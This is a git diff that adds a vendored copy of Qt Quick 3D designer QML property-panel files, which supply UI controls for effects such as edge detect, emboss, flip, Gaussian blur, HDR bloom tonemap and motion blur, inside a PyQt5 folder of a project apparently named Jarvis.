a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSection.qml new file mode 100644 index 00000000..e81a3ffd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSection.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Edge") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Strength") + tooltip: qsTr("Strength of the edge.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.edgeStrength + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSpecifics.qml new file mode 100644 index 00000000..a5e76852 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EdgeDetectSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + EdgeDetectSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSection.qml new file mode 100644 index 00000000..fc71164c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSection.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Effect") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Passes") + tooltip: qsTr("Render passes of the effect.") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.passes + model: backendValues.passes.expressionAsList + Layout.fillWidth: true + typeFilter: "QtQuick3D.Pass" + + onAdd: function(value) { backendValues.passes.idListAdd(value) } + onRemove: function(idx) { backendValues.passes.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.passes.idListReplace(idx, value) } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSpecifics.qml new file mode 100644 index 00000000..f337d42f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EffectSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + EffectSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSection.qml new file mode 100644 index 00000000..688f8555 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSection.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Emboss") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Strength of the emboss.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 0.01 + minimumValue: 0 + decimals: 4 + stepSize: 0.001 + backendValue: backendValues.amount + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSpecifics.qml new file mode 100644 index 00000000..781d78b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/EmbossSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + EmbossSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSection.qml new file mode 100644 index 00000000..a2f494d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSection.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Flip") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Horizontal") + tooltip: qsTr("Flip horizontally.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.flipHorizontally.valueToString + backendValue: backendValues.flipHorizontally + Layout.fillWidth: true + } + } + Label { + text: qsTr("Vertical") + tooltip: qsTr("Flip vertically.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.flipVertically.valueToString + backendValue: backendValues.flipVertically + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSpecifics.qml new file mode 100644 index 00000000..05b203e7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FlipSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + FlipSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSection.qml new file mode 100644 index 00000000..b3468d3b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSection.qml @@ -0,0 +1,38 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + // Fxaa effect has no modifiable properties +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSpecifics.qml new file mode 100644 index 00000000..621e69be --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/FxaaSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + FxaaSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSection.qml new file mode 100644 index 00000000..b4536cd5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSection.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Blur") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Strength of the blur.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.amount + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSpecifics.qml new file mode 100644 index 00000000..114bac69 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/GaussianBlurSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + GaussianBlurSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSection.qml new file mode 100644 index 00000000..d5411c68 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSection.qml @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Tonemap") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Gamma") + tooltip: qsTr("Amount of gamma.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 4 + minimumValue: 0.1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.gamma + Layout.fillWidth: true + } + } + Label { + text: qsTr("Exposure") + tooltip: qsTr("Amount of exposure.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9 + minimumValue: -9 + decimals: 2 + backendValue: backendValues.exposure + Layout.fillWidth: true + } + } + Label { + text: qsTr("Blur Falloff") + tooltip: qsTr("Amount of blur falloff.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.blurFalloff + Layout.fillWidth: true + } + } + Label { + text: qsTr("Tonemapping Lerp") + tooltip: qsTr("Tonemapping linear interpolation value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.tonemappingLerp + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bloom Threshold") + tooltip: qsTr("Bloom color threshold value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 3 + stepSize: 0.1 + backendValue: backendValues.bloomThreshold + Layout.fillWidth: true + } + } + Label { + text: qsTr("Channel Threshold") + tooltip: qsTr("Channel color threshold value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 3 + stepSize: 0.1 + backendValue: backendValues.channelThreshold + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSpecifics.qml new file mode 100644 index 00000000..a4411299 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/HDRBloomTonemapSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + HDRBloomTonemapSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/IdComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/IdComboBox.qml new file mode 100644 index 00000000..be341ae4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/IdComboBox.qml @@ -0,0 +1,123 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 as HelperWidgets + +HelperWidgets.ComboBox { + id: comboBox + + property alias typeFilter: itemFilterModel.typeFilter + + manualMapping: true + editable: true + model: comboBox.addDefaultItem(itemFilterModel.itemModel) + + textInput.validator: RegExpValidator { regExp: /(^$|^[a-z_]\w*)/ } + + HelperWidgets.ItemFilterModel { + id: itemFilterModel + modelNodeBackendProperty: modelNodeBackend + } + + property string defaultItem: qsTr("None") + property string textValue: comboBox.backendValue.expression + property bool block: false + property bool dirty: true + property var editRegExp: /^[a-z_]\w*/ + + onTextValueChanged: { + if (comboBox.block) + return + + comboBox.setCurrentText(comboBox.textValue) + } + onModelChanged: comboBox.setCurrentText(comboBox.textValue) + onCompressedActivated: comboBox.handleActivate(index) + Component.onCompleted: comboBox.setCurrentText(comboBox.textValue) + + onEditTextChanged: { + comboBox.dirty = true + colorLogic.errorState = !(editRegExp.exec(comboBox.editText) !== null + || comboBox.editText === parenthesize(defaultItem)) + } + onFocusChanged: { + if (comboBox.dirty) + comboBox.handleActivate(comboBox.currentIndex) + } + + function handleActivate(index) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + var cText = (index === -1) ? comboBox.editText : comboBox.textAt(index) + comboBox.block = true + comboBox.setCurrentText(cText) + comboBox.block = false + } + + function setCurrentText(text) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + comboBox.currentIndex = comboBox.find(text) + + if (text === "") { + comboBox.currentIndex = 0 + comboBox.editText = parenthesize(comboBox.defaultItem) + } else { + if (comboBox.currentIndex === -1) + comboBox.editText = text + else if (comboBox.currentIndex === 0) + comboBox.editText = parenthesize(comboBox.defaultItem) + } + + if (comboBox.currentIndex === 0) { + comboBox.backendValue.resetValue() + } else { + if (comboBox.backendValue.expression !== comboBox.editText) + comboBox.backendValue.expression = comboBox.editText + } + comboBox.dirty = false + } + + function addDefaultItem(arr) + { + var copy = arr.slice() + copy.unshift(parenthesize(comboBox.defaultItem)) + return copy + } + + function parenthesize(value) + { + return "[" + value + "]" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSection.qml new file mode 100644 index 00000000..48d37205 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSection.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Blur") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Fade Amount") + tooltip: qsTr("Specifies how much the blur fades away each frame.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.fadeAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Quality") + tooltip: qsTr("Blur quality.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0.1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.blurQuality + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSpecifics.qml 